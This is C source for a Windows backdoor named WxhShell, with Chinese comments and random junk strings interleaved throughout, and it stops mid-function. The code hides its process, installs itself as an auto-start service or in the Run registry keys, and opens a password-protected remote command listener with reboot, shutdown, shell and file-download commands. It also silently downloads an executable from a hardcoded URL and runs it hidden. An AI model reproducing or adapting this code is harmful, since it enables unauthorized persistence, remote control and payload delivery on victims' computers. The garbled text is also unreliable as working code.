BU static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I?ae\X@M static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Ti}CwI` m^GJuPLW HANDLE hProcess; Si6al78 PROCESS_BASIC_INFORMATION pbi; LIZRoG8 ha(Z< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .y@oz7T5 if(NULL == hInst ) return 0; wPwXM! *=+td)S/1 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *# tJM.Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <8d^^0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <N_+=_ IE9XU9Kd if (!NtQueryInformationProcess) return 0; W9D86]3Y j(RWO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E )5E$ if(!hProcess) return 0; =jX8.K4] 1:f9J if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z|5?7v;h5 }M3fmAP} CloseHandle(hProcess); ,PWgH$+ v"OY 1<8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u%$Zqee if(hProcess==NULL) return 0; 1oN^HG6O ENGg
~D HMODULE hMod; /+\uqF8F char procName[255]; dt`{!lts' unsigned long cbNeeded; V&Xe!S -3;*K4z$/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V-Cv,8 .zn;:M#T CloseHandle(hProcess); Db;G@#x YRh BRE if(strstr(procName,"services")) return 1; // 以服务启动 Y6Lf@}2(i (fCXxyZrr return 0; // 注册表启动 +(C6#R<LI } B,TB3
{ WXmn1^"kK} // 主模块 }T%}wdj int StartWxhshell(LPSTR lpCmdLine) 4*e0 hWp { ~ ; -! n; SOCKET wsl; N1|$$9G+ BOOL val=TRUE; ZE2$I^DY- int port=0; ~[\_N\rm struct sockaddr_in door; jC7&s$>Q"g IFDZfx if(wscfg.ws_autoins) Install();
'+$EhFwD }lfnnK# port=atoi(lpCmdLine); ub;ZtsM,% 8"fD`jtQ if(port<=0) port=wscfg.ws_port; /XhIx\40l )tl.s)"N WSADATA data; +TQ47Zc if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hA33K #bC *g[^.Sg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; OU/MiyP2 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >]W)'lnO door.sin_family = AF_INET; > 3&: 5 door.sin_addr.s_addr = inet_addr("127.0.0.1"); o9F/y=.r= door.sin_port = htons(port); m"o ;L3 q~*t@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V}SBuQp" closesocket(wsl); -eN\ ! return 1; sK7+Q } @O[}QB?/fi \U[{z&]~ if(listen(wsl,2) == INVALID_SOCKET) { =9"W@n[>W closesocket(wsl); T)Y=zIQ1]7 return 1; j&
<i& } 6Qx#%,U^ J Wxhshell(wsl); 8'f4 Od ? WSACleanup(); lhw ,J]0* I+dbZBX return 0; FKT1fv[H H<}^'#"p } ;uW}`Q< tPGJ<30 // 以NT服务方式启动 \l.-eu'O VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vh*U]3@ { |j VM&R2s DWORD status = 0; 82]vkU DWORD specificError = 0xfffffff; k5C@>J ~Q>_uw}g# serviceStatus.dwServiceType = SERVICE_WIN32; hWT[L.>k serviceStatus.dwCurrentState = SERVICE_START_PENDING; A _XhuQB;d serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MHsc+gQiz serviceStatus.dwWin32ExitCode = 0; TH$N5w% serviceStatus.dwServiceSpecificExitCode = 0; $pFo Rv serviceStatus.dwCheckPoint = 0; Q~j`YmR| serviceStatus.dwWaitHint = 0; XLH+C ]pfr vsr[ur[eP hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cg*)0U-_( if (hServiceStatusHandle==0) return; a(v>Q*zNP /Ne<V2AX status = GetLastError(); W@Lu;g.Yc if (status!=NO_ERROR) ?HV`|
Cw { X_g 3rv1J serviceStatus.dwCurrentState = SERVICE_STOPPED; {FG|\nPw serviceStatus.dwCheckPoint = 0; EoxQ
*/ serviceStatus.dwWaitHint = 0; e&qh9mlE serviceStatus.dwWin32ExitCode = status; ^4`Px/& serviceStatus.dwServiceSpecificExitCode = specificError; =@8H"&y` SetServiceStatus(hServiceStatusHandle, &serviceStatus); * C6a?] return; i![dPM } (>I`{9x>6 r,Nq7Txn? serviceStatus.dwCurrentState = SERVICE_RUNNING; y(=#WlK} serviceStatus.dwCheckPoint = 0; L0tAgW!@ serviceStatus.dwWaitHint = 0; 3neIR@W if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d GFGr}&s } KhW;RD }GZ}Q5 // 处理NT服务事件,比如:启动、停止 `p7&>
BOA VOID WINAPI NTServiceHandler(DWORD fdwControl) K%Rj8J7|u? { {nvLPUL switch(fdwControl) GKFq+]W { 3RR_fmMT) case SERVICE_CONTROL_STOP: F`9ZH. serviceStatus.dwWin32ExitCode = 0; jvV9eA:zl serviceStatus.dwCurrentState = SERVICE_STOPPED; zKsz*xv6b serviceStatus.dwCheckPoint = 0; v!FMs< serviceStatus.dwWaitHint = 0; {s_+?<l { Gsc\/4Wx SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0sh/|`\ } zWb4([P; return; Xj5~%DZp case SERVICE_CONTROL_PAUSE: XFh>U7z. serviceStatus.dwCurrentState = SERVICE_PAUSED; yGsz2T;w break; B-T/V-c7 case SERVICE_CONTROL_CONTINUE: _"#!e{N| serviceStatus.dwCurrentState = SERVICE_RUNNING; V2<?ol break; \#>T~.Y7K case SERVICE_CONTROL_INTERROGATE: /g$G_} break; -#Z
bR }; `St.+6^J SetServiceStatus(hServiceStatusHandle, &serviceStatus); fS"Hr 0 } W5' 3$,X9 +\{&2a? // 标准应用程序主函数 1& '8Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WMBm6?54 { cn-
nj] (
&frUQm // 获取操作系统版本 =Mb1o[ OsIsNt=GetOsVer(); (} 5S GetModuleFileName(NULL,ExeFile,MAX_PATH); W(Uu@^ 4#'("#R // 从命令行安装 *k1<:
@%e if(strpbrk(lpCmdLine,"iI")) Install(); a !mf;m [F[K^xYTlg // 下载执行文件 1<<kA:d if(wscfg.ws_downexe) { 7]%Ypv$ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %c1#lEC2xN WinExec(wscfg.ws_filenam,SW_HIDE); ;_(PVo } 4
8{vE3JY Z-B%'/. if(!OsIsNt) { v*qQ? S // 如果时win9x,隐藏进程并且设置为注册表启动 <uc1D/~^: HideProc(); 2EK%N'H StartWxhshell(lpCmdLine); `W-&0|%Ta } @YH+cG| else nWvuaQ0} if(StartFromService()) ,=
&B28Qe) // 以服务方式启动 IB`>'~s&A StartServiceCtrlDispatcher(DispatchTable); "aFhkPdWn else LsM7hLy // 普通方式启动 F>X-w+b4r StartWxhshell(lpCmdLine); 5&f{1M6l> +~ #U7xgq/ return 0; R+~cl;#G6 } %,iIpYx 07/L}b`P >2?aZ`r+ ZK'-U,Y.H7 =========================================== 0iZGPe~ ~kCwJ<E \M"UmSB o 4W#E`9
6u D)brPMS:o *E~VKx1 " 5eA8niq# u<n`x6gL #include <stdio.h> Do]*JO)( #include <string.h> '>v^6iS #include <windows.h> =U.
b% uC #include <winsock2.h> (LtkA|: #include <winsvc.h> X{g%kf,D= #include <urlmon.h> gLSA!#[h $y?k[Y-~ #pragma comment (lib, "Ws2_32.lib") =]>NDWqpHN #pragma comment (lib, "urlmon.lib") =9LC<2 f):~8_0b #define MAX_USER 100 // 最大客户端连接数 PjIeZ&p #define BUF_SOCK 200 // sock buffer =D^TK-H #define KEY_BUFF 255 // 输入 buffer s6}Xt=j SjEdyN# #define REBOOT 0 // 重启 !tHt,eJy #define SHUTDOWN 1 // 关机 G^(}a]>9 EHlytG}@ #define DEF_PORT 5000 // 监听端口 a?R[J== Q8MS,7y/ #define REG_LEN 16 // 注册表键长度 T|"7sPgGR #define SVC_LEN 80 // NT服务名长度 ?/JBt
/b hGf-q?7 // 从dll定义API {FI\~q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pX=,iOF[I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y?#i{ixX6n typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ "xn5lE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <fdPLw;@e4 {$M;H+Foh // wxhshell配置信息 k?VQi5M struct WSCFG { V5D`eX9 int ws_port; // 监听端口 LjdYsai- char ws_passstr[REG_LEN]; // 口令 @:x"]!1 int ws_autoins; // 安装标记, 1=yes 0=no Q!M)xNl/ char ws_regname[REG_LEN]; // 注册表键名 *wV[TKaN char ws_svcname[REG_LEN]; // 服务名 )nu~9km3 char ws_svcdisp[SVC_LEN]; // 服务显示名 `Vq`z]} char ws_svcdesc[SVC_LEN]; // 服务描述信息 LihjGkj\g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (H?ZSeWx int ws_downexe; // 下载执行标记, 1=yes 0=no Z7jX9e"L char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o;[bJ
Z\^x char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uvA(Rn PzY)"]g }; T!Sj<,r+j vRPS4@9' // default Wxhshell configuration .~}z4r struct WSCFG wscfg={DEF_PORT, #ycL'T`X% "xuhuanlingzhe", RH~3M0'0 1, r?l;I3~ "Wxhshell", ,kgF2K! "Wxhshell", )uP[!LV[e "WxhShell Service", =w<v3 wWN4 "Wrsky Windows CmdShell Service", _N3}gFh> "Please Input Your Password: ", 2*U.^]~"{ 1, 9YF$CXonE= "http://www.wrsky.com/wxhshell.exe", s T3p>8n "Wxhshell.exe" >m_v5K }; dZ:r&Qa c#b:3dXx9 // 消息定义模块 tk/`%Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y~n`~( char *msg_ws_prompt="\n\r? for help\n\r#>"; fn9#>~vrD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s%;<O:x8o char *msg_ws_ext="\n\rExit."; :G)<}j"sM char *msg_ws_end="\n\rQuit."; 83.E0@$ char *msg_ws_boot="\n\rReboot..."; oJ78jGTnb char *msg_ws_poff="\n\rShutdown..."; J<JBdk char *msg_ws_down="\n\rSave to "; %d: A`7x A2x;fgi char *msg_ws_err="\n\rErr!"; |)@N-f:E char *msg_ws_ok="\n\rOK!"; -PAF p3w\y gY`Nr!O char ExeFile[MAX_PATH]; U '[?9/T int nUser = 0; 1h"_[`L' HANDLE handles[MAX_USER]; 8o)L,{yl int OsIsNt;
wAbp3h X {4ptu~8 SERVICE_STATUS serviceStatus; C4$/?,K( SERVICE_STATUS_HANDLE hServiceStatusHandle; ]2+g&ox4' fo\\o4Qyh // 函数声明 r3I,11B int Install(void); 4Y
tk!oS` int Uninstall(void); !W1eUY int DownloadFile(char *sURL, SOCKET wsh); GH'O!} int Boot(int flag); {TZE/A3D, void HideProc(void); u9![6$R int GetOsVer(void); <?$kI>Ot int Wxhshell(SOCKET wsl); H?}wl% void TalkWithClient(void *cs); -Gsl[Rc0H; int CmdShell(SOCKET sock); um8AdiK int StartFromService(void); R9.HD?H@ int StartWxhshell(LPSTR lpCmdLine); ~4
FDKUC @~jxG%y86 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~uPk VOID WINAPI NTServiceHandler( DWORD fdwControl ); > zL|8f 7unA"9=[4V // 数据结构和表定义 I{dl% z73 SERVICE_TABLE_ENTRY DispatchTable[] = i=QqB0 { +Z?[M1g {wscfg.ws_svcname, NTServiceMain}, q|q::q* {NULL, NULL} ~HP
LV }; eX<K5K.B wsg//Ec] // 自我安装 FU@uH
U5fd int Install(void) :$"7-a%f { R'EW7}& char svExeFile[MAX_PATH]; U($^E}I2( HKEY key; L? ;/cO^ strcpy(svExeFile,ExeFile); $P?{O3:V o_yRn16 // 如果是win9x系统,修改注册表设为自启动 xQz#i-v if(!OsIsNt) { #t5juX9Ho9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9YSVK\2$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3t RegCloseKey(key); <`JG>H*B6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hU,$|_WDy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4]UT+'RubX RegCloseKey(key); jA2ofC return 0; v7@H\x* } e?)yb^7K }
nhfwOS } w67xl else { 8Nvr93T, E:Y:X~vy // 如果是NT以上系统,安装为系统服务 y<r44a_! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); onzA7Gre if (schSCManager!=0) 9kd.j@C { < EXWWrm SC_HANDLE schService = CreateService e<'U8|}hc{ ( fH!=Zb_{8 schSCManager, a R#Cot wscfg.ws_svcname, '?R =P wscfg.ws_svcdisp, nx :)k-p_[ SERVICE_ALL_ACCESS, |'@[N, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^"`Z1)V SERVICE_AUTO_START, (^S5Sc= SERVICE_ERROR_NORMAL, `9EVB; svExeFile, L;C|ow^c NULL, _z:Qhe NULL, $Z7:#cZ Y NULL, |B1Af NULL, !?r/ 4 NULL [i9[Mj ); /$OIlu if (schService!=0) ^4hc+sh0D { 3^H/LWx`{] CloseServiceHandle(schService); ,%= '>A CloseServiceHandle(schSCManager); aa=b<Cd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,$i<@2/=m strcat(svExeFile,wscfg.ws_svcname); 0(vdkC4\A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7h1"^}M& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M;@Ex`+?i RegCloseKey(key); |
W?[,|e return 0; i -V0Lm/ } -t b;igv } tD^a5qPh CloseServiceHandle(schSCManager); ^HoJ.oC/ } 5|m9:Hv[# } J]]\&MtaO cV(H<"I return 1; ]84YvpfW } 7`+UB>8 wKrdcWI,Z // 自我卸载 /p[y1 int Uninstall(void) 7?]!Ecr" { P59uALi HKEY key; c.6QhE ,|QU] E
@ if(!OsIsNt) { Pd&,G$l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,QL(i\ RegDeleteValue(key,wscfg.ws_regname); I,z"_[^G RegCloseKey(key); a5I%RY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j>g9\i0O1 RegDeleteValue(key,wscfg.ws_regname); +9}' s{ RegCloseKey(key); 0, "ZV} return 0; JSUzEAKe } a~F u } fcn_<Yh0W } bF7`] 83 else { gTyW#verh$ sK[Nti0 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0Sz/c+ 6 if (schSCManager!=0) :!hk~#yvJ9 { DMRs}Yz6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fIlIH if (schService!=0) `v<f} { 3V!W@[ }: if(DeleteService(schService)!=0) { @hBx,`H^ CloseServiceHandle(schService); \ /sF:~= CloseServiceHandle(schSCManager); t>-XT|lV return 0; 5\5~L } o+R. u}| CloseServiceHandle(schService); 1dXh\r_n } .>a$g7Rj CloseServiceHandle(schSCManager); C!I\Gh } L;kyAX@^ } <|wmjW/D MbM:3 return 1; ),z,LU Yf } H.f9d.<W% g')?J<z // 从指定url下载文件 8Y]u:v int DownloadFile(char *sURL, SOCKET wsh) w`"W3( { (''$'5~ HRESULT hr; MQhYJ01i char seps[]= "/"; UfO'.8*v char *token; &8.z$}m char *file; l!Nvn$hm char myURL[MAX_PATH]; AZ}%MA;q char myFILE[MAX_PATH]; /}[zA@ ..]B9M. strcpy(myURL,sURL); c
'/2F0y token=strtok(myURL,seps); WJP`0f3 while(token!=NULL) pvI&-D #} { '$lw[1 file=token; d9ZDpzxB token=strtok(NULL,seps); 7=AO^:=bx } C[^a/P`i ?T~3B]R GetCurrentDirectory(MAX_PATH,myFILE); FP0<-9DO strcat(myFILE, "\\"); Y'\3ux0]4' strcat(myFILE, file); o(vZ*^\ send(wsh,myFILE,strlen(myFILE),0); X/K| WOO6 send(wsh,"...",3,0); 1Q3%!~<\s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Es_SCWJ if(hr==S_OK) [UUM^!1 return 0; >V3W>5 X else 6eVe}V4W return 1; r(748Qc4f? ,2Sv1v$ } O7E;W| ] (%=lq#, // 系统电源模块 b'i%B9yU:% int Boot(int flag) G>9'5Lt { ke mr@_ HANDLE hToken; H7 o$O TOKEN_PRIVILEGES tkp; )3d:S*ly `V$cz88b if(OsIsNt) { Zm?G'06 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C _k_D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
9QO!vx tkp.PrivilegeCount = 1; ~W5>;6f\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \L&qfMjW"Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~6pCOS} if(flag==REBOOT) { 6+5(.z-[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rQAbN6 return 0; xQcMQ{&; } C: TuC5Sr else { P<g|y4h if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R;N>#_9HU return 0; \ltE rd- } !'c6 Hs } M<hs_8_* else { Ra*k if(flag==REBOOT) { _j|n}7a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ueS[sN! return 0; X_EC:GU } A@lhm`Aa else { 1yY'hb,0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &)/H?S;yN return 0; *+zy\AhkP } `"1{Sx. } S(YHwH": xw/h~:NT return 1; UeC%Wa<[ } P+D|_3j #z1ch,*3; // win9x进程隐藏模块 jn#N7%{Mk void HideProc(void) KD<; ?oN<O { )PanJHtU x Jj8njuq4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vf\?^h(tP if ( hKernel != NULL ) (D+{0 / { E2ayK> , pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D[FfJcV'$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A,A-5l<h]? FreeLibrary(hKernel); EIVQu~,H } ^me}k{x b{ubp return; S|Ij q3 } 4YB7og%P 2TevdyI // 获取操作系统版本 S]e~)IgO int GetOsVer(void) +A&IxsTq5= { Rqd %#v OSVERSIONINFO winfo; +{ ,w#@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kAKqW7,q" GetVersionEx(&winfo); eUUD|U*b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j)SgB7Q return 1; au9Wo<mR else "ZK5P&d return 0; *<h } <8xP-(wk; McMK|_H // 客户端句柄模块 iTtAj~dfZ int Wxhshell(SOCKET wsl) Aj)<8 { }Rf:DmPE SOCKET wsh; "Ee/q :` struct sockaddr_in client; P*qNRP% DWORD myID; BIB>U W o^"d2= while(nUser<MAX_USER) 7l|> { MjF.>4 int nSize=sizeof(client); R4J>M@-0v wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 86)
3XE[5 if(wsh==INVALID_SOCKET) return 1; hZF&PV5H Ot:\h handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]mGsNQ ].H if(handles[nUser]==0) 'c+qBSDA closesocket(wsh); XC8z|A-@ else 9gIJX? nUser++;
} C2i#;b } ne%OTr4dD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qak@~b F|3FvxA return 0; 4)I/\ } Y.hH
fSp U"R.!=v // 关闭 socket RAkFgC~ void CloseIt(SOCKET wsh) k:uuJ| { TB3T:A>2 closesocket(wsh); 9j>sRE1 nUser--; )9W#5V$ ExitThread(0); ~uD;_Y=u)r } dvdBRrf DEeL48{R // 客户端请求句柄 xo"4mbTV void TalkWithClient(void *cs) 0b QiUcg/ { 06W=(fY K]]rOF SOCKET wsh=(SOCKET)cs; 8GAQVe^$- char pwd[SVC_LEN]; QvQf@o char cmd[KEY_BUFF]; u5)A+.v char chr[1]; y:`` |*+ int i,j; g!|E!\p !JQ~r@j while (nUser < MAX_USER) { ;<GTtt#D _"t.1+-K if(wscfg.ws_passstr) { %TggNU, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }oxaB9r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ";Xbr;N //ZeroMemory(pwd,KEY_BUFF); 0FR%<u i=0; ).`a-Pv while(i<SVC_LEN) { RxeRO2 )A+j // 设置超时 s^X/
Om fd_set FdRead; DlkKQ struct timeval TimeOut; .aH?H]^ FD_ZERO(&FdRead); }Knq9cf FD_SET(wsh,&FdRead); (uxQBy TimeOut.tv_sec=8; =y(YMWGS TimeOut.tv_usec=0; !'t2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <"Cwy0V kp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pnw4QQ9 S^"e5n2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z00:59M4 pwd=chr[0]; K#+] if(chr[0]==0xd || chr[0]==0xa) { $0C/S5b pwd=0; r[4F?W break; 9: |K]y } $YQ&\[pDA i++; O]LuL&=s y } S<9d^= a l@F
e(^5E // 如果是非法用户,关闭 socket umrI4.1c if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2o5<nGn } ?4?jG3p Mz.&d: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PC7.+;1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )Ua2x@j'C@ z4+6k-#): while(1) { p00Bgo ]4~D;mv ZeroMemory(cmd,KEY_BUFF); M!XFb _SW a3O#' // 自动支持客户端 telnet标准 Br^b%12ZRS j=0; }$c( $ while(j<KEY_BUFF) { {OoNhN9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); toZI.cSg4 cmd[j]=chr[0]; n#'',4f if(chr[0]==0xa || chr[0]==0xd) { R[-:-8 cmd[j]=0; )Nd:PnA break; \4X{\p< } TB[2!ZW j++; ?vNS!rY2& } s H[34gCh; ~{!!=@6 // 下载文件 M#2U'jy if(strstr(cmd,"http://")) { uM<+2S send(wsh,msg_ws_down,strlen(msg_ws_down),0); jCv+m7Z if(DownloadFile(cmd,wsh)) VQx-gm8}! send(wsh,msg_ws_err,strlen(msg_ws_err),0); bUB6B else rAdcMFW send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kYa'
] m } M_)T=s * else { vt=S0X^$yc e|9Bzli{ switch(cmd[0]) { DNO%J^ ebVfny$D // 帮助 *Yjs$'_2 case '?': { [B<{3*R_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XArLL5_L break; G ~\$Oq8 } 7NqV* // 安装 tqf-,BLh case 'i': { NVPYv#uK if(Install()) y>18)8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;BvWU\! else rt;>pQ9, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0zNS;wvv& break; 4Lb<#e13R? } U]3JCZ{]0E // 卸载 Bv*h?`Q case 'r': { LEa:{s<: if(Uninstall()) NtL?cWct send(wsh,msg_ws_err,strlen(msg_ws_err),0); emO!6]0gJ else H9[.#+ln send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 50`r}s} break; y
+vcBuX } \bE~iz3b9 // 显示 wxhshell 所在路径 46`{mPd{aO case 'p': { a]ey..m char svExeFile[MAX_PATH]; (dZ&Af strcpy(svExeFile,"\n\r"); jGPs!64f) strcat(svExeFile,ExeFile); {,srj['RS send(wsh,svExeFile,strlen(svExeFile),0); KWMH|sxO= break; h UDEjW@S } 014!~c // 重启 %"V,V3kw4 case 'b': { (U< |